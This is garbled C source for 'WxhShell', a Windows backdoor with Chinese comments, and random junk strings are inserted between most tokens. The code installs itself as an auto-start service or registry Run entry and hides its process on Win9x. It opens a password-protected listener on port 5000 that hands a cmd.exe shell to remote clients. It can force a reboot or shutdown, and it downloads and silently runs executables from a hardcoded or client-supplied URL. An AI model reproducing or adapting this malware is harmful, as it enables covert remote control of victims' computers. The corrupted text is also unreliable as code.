'c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M)sZSH.<O gIA@l`" HANDLE hProcess; U35AX9/ PROCESS_BASIC_INFORMATION pbi; \;rYo.+ 3=W!4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9o>8o if(NULL == hInst ) return 0; yjJ5P`j] t<n"-Tqu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @y31NH( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); waKT{5k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ "Bh]- pHoEa7: if (!NtQueryInformationProcess) return 0; Bo5ZZY 8( btZt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z"*/mP2 if(!hProcess) return 0; r!,}Z=cGe y1=NF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1".v6caW X*,Kb(3 CloseHandle(hProcess); <, 3ROo76 c^`]`xiX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %7O?JI[ if(hProcess==NULL) return 0; ~{}#)gGU Y<0 4RV HMODULE hMod; xnE|Umz char procName[255]; HNL42\Kz! unsigned long cbNeeded; ]:34kE}e5 )*c>|7G if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @,XSs 2 1PFR:lP7 CloseHandle(hProcess); ![f ![l /t-fjB{=G if(strstr(procName,"services")) return 1; // 以服务启动 vd6l7"0/ hR5_+cuIp return 0; // 注册表启动 "*O4GPj } 2S' {!A _j_x1.l // 主模块 'H7x L int StartWxhshell(LPSTR lpCmdLine) d,$d~alY { ,.gQ^^+= SOCKET wsl; 'EFyIVezg9 BOOL val=TRUE; } G<rt int port=0; ?aW^+3i struct sockaddr_in door; <LRey%{q ^9-&o if(wscfg.ws_autoins) Install(); X>?b#Eva n&A'C\ port=atoi(lpCmdLine); ^T~gEv CIVnCy z if(port<=0) port=wscfg.ws_port; -l}IZY [=%TnT+^9 WSADATA data; _20#2i& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i_][PTH w{k)XY40sW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dJ?XPo"Cm= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
y<C<_2 door.sin_family = AF_INET; /.M+fr S door.sin_addr.s_addr = inet_addr("127.0.0.1"); <W]g2>9o9 door.sin_port = htons(port); ];%0qb KsrjdJx, ' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^*~;k|;& closesocket(wsl); n4lutnF return 1; |j3'eW&= } 0j(M*
sl <5=JE*s$NS if(listen(wsl,2) == INVALID_SOCKET) { <)*2LBF@] closesocket(wsl); *-s,.
F+c return 1; OiDhJ } 8>/Q1(q0 Wxhshell(wsl); #P#-xz WSACleanup(); b|zg< Z!0]/ mCE8 return 0; lcV<MDS ET];%~ ^ } U:F/iXz 4.RG4Jq // 以NT服务方式启动 jPnM>= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }3R13 { XYoIFv?' DWORD status = 0; :fk2]{KTL DWORD specificError = 0xfffffff;
'8j$';&` HG'{J ^t serviceStatus.dwServiceType = SERVICE_WIN32; y0~Ia:y serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5X.e*; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fJZp?e" serviceStatus.dwWin32ExitCode = 0; S(aZ4{a@ serviceStatus.dwServiceSpecificExitCode = 0; t:LcNlN| serviceStatus.dwCheckPoint = 0; VOsqJJ3 serviceStatus.dwWaitHint = 0; p$7#}s 9z?oB&5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q %A?V_ if (hServiceStatusHandle==0) return; )5fQ$<(Z ,&U4a1%i#c status = GetLastError(); #E0t?:t5bk if (status!=NO_ERROR) b%f[p/no { kX:tc serviceStatus.dwCurrentState = SERVICE_STOPPED; n]+W 3[i serviceStatus.dwCheckPoint = 0; )rLMIk serviceStatus.dwWaitHint = 0; u9=SpgB# serviceStatus.dwWin32ExitCode = status; f`>/
H!<2 serviceStatus.dwServiceSpecificExitCode = specificError; "!K'A7.^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |+ge8uu?C return; 9x+<Ik } 3\;27&~gV W(fr<<hL serviceStatus.dwCurrentState = SERVICE_RUNNING; l8K5k:XCU3 serviceStatus.dwCheckPoint = 0; 27ckdyQx serviceStatus.dwWaitHint = 0; X}P$emr7 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P\CDd=yWc } )Z+{|^`kJ 2}?wYI*:5| // 处理NT服务事件,比如:启动、停止 l:]Nn%U(> VOID WINAPI NTServiceHandler(DWORD fdwControl) ~8|t*@D { :T3/yd62N switch(fdwControl) &4dz}zz90 { #[MJ|^\i case SERVICE_CONTROL_STOP: iA_8(Yo serviceStatus.dwWin32ExitCode = 0; ydv3owN serviceStatus.dwCurrentState = SERVICE_STOPPED; 7nzGAz_W serviceStatus.dwCheckPoint = 0; M9!AIHq4 serviceStatus.dwWaitHint = 0; a:YI"*S
{ ')S;[= v SetServiceStatus(hServiceStatusHandle, &serviceStatus); vhr+g 'tf } }G$]LWgQx return;
yz+, gLY case SERVICE_CONTROL_PAUSE: ~#\i!I;RY} serviceStatus.dwCurrentState = SERVICE_PAUSED; 6pE :A@ break; ^0W(hA case SERVICE_CONTROL_CONTINUE: 52zGJ I*
serviceStatus.dwCurrentState = SERVICE_RUNNING; zm9TvoC%} break; t<:D@J]a case SERVICE_CONTROL_INTERROGATE: #0b&^QL break; b4Y8N"hL% }; RnfXN)+P SetServiceStatus(hServiceStatusHandle, &serviceStatus); +kdySWF } mxSKG>
O !0/z>#b // 标准应用程序主函数 !~<siy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
IGX:H)&* { ,(G%e }wSi~^* // 获取操作系统版本 {mE! Vf OsIsNt=GetOsVer(); z41_oG7 GetModuleFileName(NULL,ExeFile,MAX_PATH); 4"\yf =j0x.fSe // 从命令行安装 ANH4IYd3 if(strpbrk(lpCmdLine,"iI")) Install(); P,gdnV
^ 151tXSzLT // 下载执行文件 "fQRk if(wscfg.ws_downexe) { x2|6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P4
ul[zZ WinExec(wscfg.ws_filenam,SW_HIDE); ,gnQa } LE?u`i,e=+ !a1i Un9 if(!OsIsNt) { VS?@y/\In // 如果时win9x,隐藏进程并且设置为注册表启动 `29TY&p+" HideProc(); '!vc/Hw StartWxhshell(lpCmdLine); 2>S~I"o0 } FgA//)1 else t0PQ~|H<KV if(StartFromService()) fm1X1T . // 以服务方式启动 dw@E) StartServiceCtrlDispatcher(DispatchTable); ]8 U ~Iy else ]0c Pml // 普通方式启动 IKvBf'%- StartWxhshell(lpCmdLine); ^c9ThV.v *2u
E return 0; 8dT'xuch } :s8A:mx }\v^+scD 5IMSNGS {g/wY%u= =========================================== dGH_ z8 1TqF6`;+ P`s(kIe Ri:p8 DOD6Liau{Q =.m6FRsU " X<Za9 b5ie <s #include <stdio.h> i%(yk#=V #include <string.h> ]S8LY.Az5 #include <windows.h> ||TtNH #include <winsock2.h> [h}K$q #include <winsvc.h> vW.%[] #include <urlmon.h> %u]6KrG18b #t71U a #pragma comment (lib, "Ws2_32.lib") RJJ1 #pragma comment (lib, "urlmon.lib") {KaN,td9 d
O
A%F$Mk #define MAX_USER 100 // 最大客户端连接数 _[E \= #define BUF_SOCK 200 // sock buffer xi {| #define KEY_BUFF 255 // 输入 buffer }F{=#Kqn^ "!&B4 #define REBOOT 0 // 重启 0*(K DDv #define SHUTDOWN 1 // 关机 GXb47_b^ `ypL]$cW #define DEF_PORT 5000 // 监听端口 Md(JIlh3 q&M:17+:Q #define REG_LEN 16 // 注册表键长度 K_-MkY?+ #define SVC_LEN 80 // NT服务名长度 =mrY/:V LZWS^77 // 从dll定义API |Mg }2!/L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6zYaA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p?myuNd[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q@ Kk\m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @[r ={s\ dt-K // wxhshell配置信息 QJ<[Zx struct WSCFG { n! .2aq int ws_port; // 监听端口 t!l%/$- char ws_passstr[REG_LEN]; // 口令 :4;S"p int ws_autoins; // 安装标记, 1=yes 0=no <%!J? char ws_regname[REG_LEN]; // 注册表键名 PKtU:Eg char ws_svcname[REG_LEN]; // 服务名 Z*bC#s? char ws_svcdisp[SVC_LEN]; // 服务显示名 me. /o(!? char ws_svcdesc[SVC_LEN]; // 服务描述信息 2,AaP*, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D3?N<9g int ws_downexe; // 下载执行标记, 1=yes 0=no Qyj(L[K J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .w'vD/q; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?:}Pa<D&K SMq9j,k }; qc0 B<,x7 atnQC // default Wxhshell configuration ('WY5Yps struct WSCFG wscfg={DEF_PORT, D9^7m
j?e "xuhuanlingzhe", Z\!rH"8 1, *( *z|2 "Wxhshell", 7Dl%UG] "Wxhshell", <ZrFOb "WxhShell Service", hPPB45^ "Wrsky Windows CmdShell Service", kME^tpji "Please Input Your Password: ", rA#s 1, IxP^i{/1? "http://www.wrsky.com/wxhshell.exe", A7'b Nd6f9 "Wxhshell.exe" b?k4InXh }; 1l]C5P}E ,Oi^ySn // 消息定义模块 4$i} Xk#3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "A7<XN< char *msg_ws_prompt="\n\r? for help\n\r#>"; N *1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *:#Z+7x
] char *msg_ws_ext="\n\rExit."; FQ## 397 char *msg_ws_end="\n\rQuit."; E._hg+
(Hi char *msg_ws_boot="\n\rReboot..."; e?vj+ZlS$f char *msg_ws_poff="\n\rShutdown..."; (fd[P|G_] char *msg_ws_down="\n\rSave to "; CgoXZX E!dp~RwZu char *msg_ws_err="\n\rErr!"; W gZ@N char *msg_ws_ok="\n\rOK!"; RO$*G
jQd 1)Eq&ASB char ExeFile[MAX_PATH]; EP0a1.C int nUser = 0; !=knppY HANDLE handles[MAX_USER]; y^YVo^3 int OsIsNt; 7V/Zr Cg*kN"8q SERVICE_STATUS serviceStatus; /1N)d?Pcl SERVICE_STATUS_HANDLE hServiceStatusHandle; w<mqe0 ?Hk.|5A} // 函数声明 bQpoXs0w; int Install(void); .> ,Z kS int Uninstall(void); 5E.vje{U; int DownloadFile(char *sURL, SOCKET wsh); rxArTpS{.# int Boot(int flag); p`LL void HideProc(void); }Oh5Nm) int GetOsVer(void);
\aB&{`iG int Wxhshell(SOCKET wsl); 1V\1]J/ void TalkWithClient(void *cs); v'$ykZ!Z int CmdShell(SOCKET sock); LiF.w:} int StartFromService(void); '1lx{UzD int StartWxhshell(LPSTR lpCmdLine); BMF3XcH~G g.=!3e&z% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "|\94 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4(;20(q] 8W{ g // 数据结构和表定义 I>!|3ElT SERVICE_TABLE_ENTRY DispatchTable[] = ;wpW2%& { 6eOxF8 {wscfg.ws_svcname, NTServiceMain}, vevx|<9, {NULL, NULL} m9uUDq#GJ }; cUYX1a)8 )y5iH){! // 自我安装 J (=4 int Install(void) i /C'0 { Aw5K3@Ltz char svExeFile[MAX_PATH]; S[ i$e HKEY key; [CsM<:C strcpy(svExeFile,ExeFile); ;\1b{-' l E=3#TBd // 如果是win9x系统,修改注册表设为自启动 /^NJ)9IB if(!OsIsNt) { 8 `yB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0VG^GKmx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xMLrLXy RegCloseKey(key); |:{g?4Mi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tP -5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $]xE$dzJ RegCloseKey(key); tvv[$b& return 0; p^}L } F%9e@{ } #vnefIcBf } x4/T?4k else { oA5<[&~< dVij <! Lu // 如果是NT以上系统,安装为系统服务 ^f!Zr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oD Q9.t if (schSCManager!=0) p|xs|O6{ { GP0[Y SC_HANDLE schService = CreateService gF$1wV]e ( "h^A]t;qe schSCManager, v#{G8'+% wscfg.ws_svcname, y^5T/M wscfg.ws_svcdisp, oUnq"] SERVICE_ALL_ACCESS, B4PW4>GF
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cb4d|yiS8 SERVICE_AUTO_START, _Ac/i r[,: SERVICE_ERROR_NORMAL, gK&5HTo svExeFile, //ne']L NULL, TsoCW]h NULL, 0[_O+u NULL, HQ ELK NULL, l"2^S6vU NULL N`
@W% ); *93l${' if (schService!=0) z(8)1#(n7 { 5WrIg(l CloseServiceHandle(schService); ,(1vEE[9- CloseServiceHandle(schSCManager); G~b`O20N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (**-"o]HH strcat(svExeFile,wscfg.ws_svcname); _stI?fz*4k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #`fi2K&]j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ze#rYN vo/ RegCloseKey(key); A52LH, return 0; ?0 KiR? } <-Kb@V3 } )3D+gu CloseServiceHandle(schSCManager); Huc3|~9 } ^VM"!O;h{ } s0X/1Cq LLXg return 1; *o:BoP=S } <=5,(a5g v%69]a-T // 自我卸载 bv:0EdVr int Uninstall(void) , u8ZS|9 { JO<gN=
[ HKEY key; 8o%<.] )zk?yY6 if(!OsIsNt) { &"~,V6,q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HlOAo:8' RegDeleteValue(key,wscfg.ws_regname); #2ZrdD"5kQ RegCloseKey(key); di)noQXkB- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Wfv+]n9 RegDeleteValue(key,wscfg.ws_regname); ?vL^:f[" RegCloseKey(key); FEm1^X#] return 0; +Zty}fe } wt_?B_nR } U&d-? PI } 0IT20.~ else { ]`CKQ>
o o%N0K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `0n 7Cyed if (schSCManager!=0) SzgY2+Qq { FzsS~C$wH{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W~+!"^<n if (schService!=0) |aOnV,} { {8>_,z^P) if(DeleteService(schService)!=0) { :`Zl\!]E`o CloseServiceHandle(schService); 9^C!,A{u4 CloseServiceHandle(schSCManager); Ekg N6S`} return 0; wZ\e3H z } .x-Z+Rs{g CloseServiceHandle(schService); 4<eJ } :+Z>nHe CloseServiceHandle(schSCManager); HpjIp. } l66ipgw_^I } %8`1Li6g !!D:V`F/d return 1; /="D]K)%b8 } /S=;DxZ,r "#eNFCo7k // 从指定url下载文件 ,{mf+ 3&$, int DownloadFile(char *sURL, SOCKET wsh) gp|7{}Q{ { E6wST@r HRESULT hr; "`1of8$X7 char seps[]= "/"; (1r>50Ge char *token; %RD7=Z-z char *file; H|Fqc=qp char myURL[MAX_PATH]; u4*]jt;H char myFILE[MAX_PATH]; ]2sZu7 jiB>.te strcpy(myURL,sURL); Z?!:=x>7m token=strtok(myURL,seps); z&yb_A:> while(token!=NULL) T[$hYe8%^ { u{lDof> file=token; /*p?UW<*4 token=strtok(NULL,seps); 6Bq2?;5 } Qc
=lf$ 8!fAv$g0 GetCurrentDirectory(MAX_PATH,myFILE); hu*>B strcat(myFILE, "\\"); %IH|zSr)EM strcat(myFILE, file); 9oau_Q# send(wsh,myFILE,strlen(myFILE),0); AYQh=$)( send(wsh,"...",3,0); CH_Dat> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h*X%:UbW if(hr==S_OK) . eag84_ return 0; eRqexqO! else ,["|wqM return 1; d~1"{WPSn 'N,NG$G2 } 6Oqnb+ D30Z9_^%: // 系统电源模块 mM^8YL int Boot(int flag) T+`GOFx { O}iKPY8K HANDLE hToken; {aa,#B]i TOKEN_PRIVILEGES tkp; k49n9EX xA1pDrfC/ if(OsIsNt) { q}24U3ow OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S$_Ts1Ge6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,xM*hN3A tkp.PrivilegeCount = 1; 7z0uj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p){RSq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5}^08Xl if(flag==REBOOT) { !rmo*-=^= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T[9jTO?W2 return 0; 2i'-lM= } btz3f9 else { +O:pZz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O
NzdCgY return 0; kk./-G } 3:gO7Uv
} v@1Jhns else { Hw. @Le> if(flag==REBOOT) { `,]PM)iC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -#z'A return 0; vh3iu+ } <yaw9k+P else { #:5g`Ch4, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~5qZs"ks return 0; f6A['<%o } F"? *@L } ?BZ`mrH^ X1QZEl return 1; k#G7`dJl } (dnc7KrM K]Cs2IpI // win9x进程隐藏模块 iK0J{' void HideProc(void) >bP7}T { a_MnQ@ QF6JZQh< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F&j|Y>m if ( hKernel != NULL ) p"
W0$t. { z`{zqP: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l]=$< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EF{'J8AQ FreeLibrary(hKernel); 3$f5][+U } /'^>-!8_1 tl#s: return; 6y!?xot } X(q=,^Mp ~a,' // 获取操作系统版本 ]* Ki7h|B int GetOsVer(void) 1MFpuPJk { | (9FV^_ OSVERSIONINFO winfo; mK&9p{4#U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6HQwL\r79 GetVersionEx(&winfo); C8zeqS^N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $d[:4h~ return 1; lD=j/ else `r$WInsDu return 0; UoT}m^ G } ITPpT JNCtsfd // 客户端句柄模块 w:(7fu= int Wxhshell(SOCKET wsl) ExU|EN- { 8ngf(#_{_n SOCKET wsh; m*,[1oeG& struct sockaddr_in client; L uKm DWORD myID; pC
Is+1O/ !sWBj'[> while(nUser<MAX_USER) 2{:
J1'pC { )f&]H} int nSize=sizeof(client); 70(?X/5# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Av4E?@R if(wsh==INVALID_SOCKET) return 1; l~c>jm8. e!'u{>u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (19<8a9G if(handles[nUser]==0) u6d~d\ closesocket(wsh); 4=cq 76 else YIqfGXu8 nUser++; ^PpFI } BVeNK=7m% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k;X1x65uP zwK;6&(W return 0; L#bQ`t } ay[*b_f GQWTQIl] // 关闭 socket d'D\#+%>= void CloseIt(SOCKET wsh) ?"u-@E[m { Ux]@prA q closesocket(wsh); 1yc@q8 nUser--; E.9k%%X] ExitThread(0); |/Z)? } p8J"%Jq} W}3vY] // 客户端请求句柄 feHAZ.8rp+ void TalkWithClient(void *cs) *&MkkI# { LRs;>O >*CK@"o SOCKET wsh=(SOCKET)cs; F
x8)jBB_ char pwd[SVC_LEN]; OUMr}~/ char cmd[KEY_BUFF]; AW68'G*m char chr[1]; hKYPH?b% int i,j; I%xJ)fIK IBsn>*ja< while (nUser < MAX_USER) { Z_+No :F7I `^{P,N>X if(wscfg.ws_passstr) { CgE5;O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pBLO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ??Ac=K\ //ZeroMemory(pwd,KEY_BUFF); 1^dWmxUZH i=0; L,L7WObA while(i<SVC_LEN) { @kymL8"2w v:;cTX=x`# // 设置超时 5!*a,$S fd_set FdRead; q>X2=&1 struct timeval TimeOut; D3ad2vH FD_ZERO(&FdRead); 4F!d V;"Z( FD_SET(wsh,&FdRead); 2_v>8B TimeOut.tv_sec=8; :"]ei@ TimeOut.tv_usec=0; $S{j}74[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cIjsUqKa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DcHMiiVM z& jDO ex if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~V)E:( pwd=chr[0]; ;_\P;s if(chr[0]==0xd || chr[0]==0xa) { p60D{UzU pwd=0; Eq{TZV break; >j3N-;o@? } Bs}>#I i++; Q8i6kf! } {c;3$ dW68lVWq_ // 如果是非法用户,关闭 socket ]+P&Y: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W9"I++~f } *6tN o-)^ C"<@EMU9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SGm?"esEt send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9_{!nQC.g [DwB7l)O( while(1) { g (k|"g`* RUKSGj_NJ ZeroMemory(cmd,KEY_BUFF); FO$Tn+\ 6 UepBXt3) // 自动支持客户端 telnet标准 +_Z/VQv j=0; _!zY(9% while(j<KEY_BUFF) { 3FN? CN] O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3LREue7Gr cmd[j]=chr[0]; RSC-+c6 1 if(chr[0]==0xa || chr[0]==0xd) { _(foJRr cmd[j]=0; s=4.Ovd\ break; +&@0;zSga } UEUTu}4y j++; eHR<(8c'f } pJ[Q.QxU `Fj(g!` // 下载文件 J^4k} if(strstr(cmd,"http://")) { 2wCRT}C send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8n? .w:Y/ if(DownloadFile(cmd,wsh)) tw66XxE send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJm O+ else [eRMlSXA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ay]5GA!W+ } }^muAr else { Sls>
OIc /Ny&;Y switch(cmd[0]) { +Sfv.6~v e=2D^G#qE // 帮助 F*f)Dv$p case '?': { ]_s]Q_+E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sXu]k#I^" break; lS^0*(Y } k&b>-QP6 // 安装 ~
4aaJ0 case 'i': { Lg1Usy% if(Install()) ,tZwXP{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c/]
8KU else @_{"ho send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Bp?"8%*l break; :9}*p@ } 7nmo p7 // 卸载 {\B!Rjt[T case 'r': { L6^h3*JyD if(Uninstall()) J}JnJV8|G send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`2& o else DI_mF#5q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s>5 Z break; 9L};vkYk# } {%
P;O ?
// 显示 wxhshell 所在路径 X6)LpMm case 'p': { {8' 5 char svExeFile[MAX_PATH]; c\Dv3bF strcpy(svExeFile,"\n\r"); >qE$:V"_5 strcat(svExeFile,ExeFile); $IHa]9 { send(wsh,svExeFile,strlen(svExeFile),0); rhrlEf@ break; QU t!fF@t } ?Rdi"{.wI // 重启 ;bX{7j case 'b': { ;>~iCFk]? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <x/&Ml+ if(Boot(REBOOT)) CVm*Q[5s" send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 !sYd@iD@ else { LE;c+(CAU closesocket(wsh); ?g'l/xuRe ExitThread(0); 0PN{
+<?. } IY'S<)vOY break; wNlp4Z'[ } KnuqU2<
{ // 关机 OHU(?TBo case 'd': { %]-tA,u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 344- ~i* if(Boot(SHUTDOWN)) wegBMRQVp send(wsh,msg_ws_err,strlen(msg_ws_err),0); {0?76| else { ?g 3sv5\u closesocket(wsh); W|:WAxJ*d ExitThread(0); WDcjj1`l
} Cd4G&(= break; k20tn
ew } 7*sB"_U2 // 获取shell [8ih-k case 's': { +:b|I'S CmdShell(wsh); /wQDcz closesocket(wsh); [|vdr. ExitThread(0); %
74}H8q_z break; (uSfr]89' } 3o h(d.Z // 退出 TV} H case 'x': { \QVL%,.%M send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +BESO CloseIt(wsh); DUaj]V{_^ break; HM`;%0T0( } [l0>pHl@ // 离开 :p89J\ case 'q': { KcHW>IBxdv send(wsh,msg_ws_end,strlen(msg_ws_end),0); [j):2 closesocket(wsh); /)j:Y:5 WSACleanup(); gF&1e5`i exit(1); "lB[IB) break; gkDB8,C<j } tks1*I$S< } k/>k&^? } HUZI7rC[=) ~OXPn9qPp // 提示信息 Mp}U>+8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }5EvBEv-) } 1jDN=hIl } q>t#5Z81 MGK%F#PM return; arm26YA-, } T< D&%) nGq{+
G // shell模块句柄 4PR!OB int CmdShell(SOCKET sock) &=~Jw5WK { U&GSMjqg STARTUPINFO si; 1GE[*$vuq ZeroMemory(&si,sizeof(si)); _->d41 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;O+=
6>W si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +xp)la. PROCESS_INFORMATION ProcessInfo; )vn{?Ulj char cmdline[]="cmd"; 9!;/+P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A{MMY{K3 return 0; {{qu:(_g } Qu|H_<8g ~7ZWtg;B // 自身启动模式 508v:?^' int StartFromService(void) B 1jeIk, { 7_HFQT1.N typedef struct BlnR{Y { kntYj}F( DWORD ExitStatus; S"HdjEF7\ DWORD PebBaseAddress; a5caryZ"z DWORD AffinityMask; )V d^#p DWORD BasePriority; nvbzC tC ULONG UniqueProcessId; _0}u0fk ULONG InheritedFromUniqueProcessId; 4K5 } PROCESS_BASIC_INFORMATION; 0Xb,ne
7 R"W5R- PROCNTQSIP NtQueryInformationProcess; xIA] 5@;a AO,
o|,#4F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F_G .$aCc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f*}}Az.4 qF\w#nG HANDLE hProcess; H-\Ym}BGu PROCESS_BASIC_INFORMATION pbi; ?zex]!R bMn)lrsX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \#4mPk_" if(NULL == hInst ) return 0; 'Fy"|M;2 (@->AJF1\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,?P< =M g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _o[fjd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eSQkW =^1jVaAL if (!NtQueryInformationProcess) return 0; [Do^EJ 4C/G &w& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _3(rwD if(!hProcess) return 0; DkX^b:D*f M287Z[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,OWk[0/ ?7}ybw3t] CloseHandle(hProcess); |.VSw 2xf#@`U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ![;={d0 if(hProcess==NULL) return 0; /78]u^SW ( 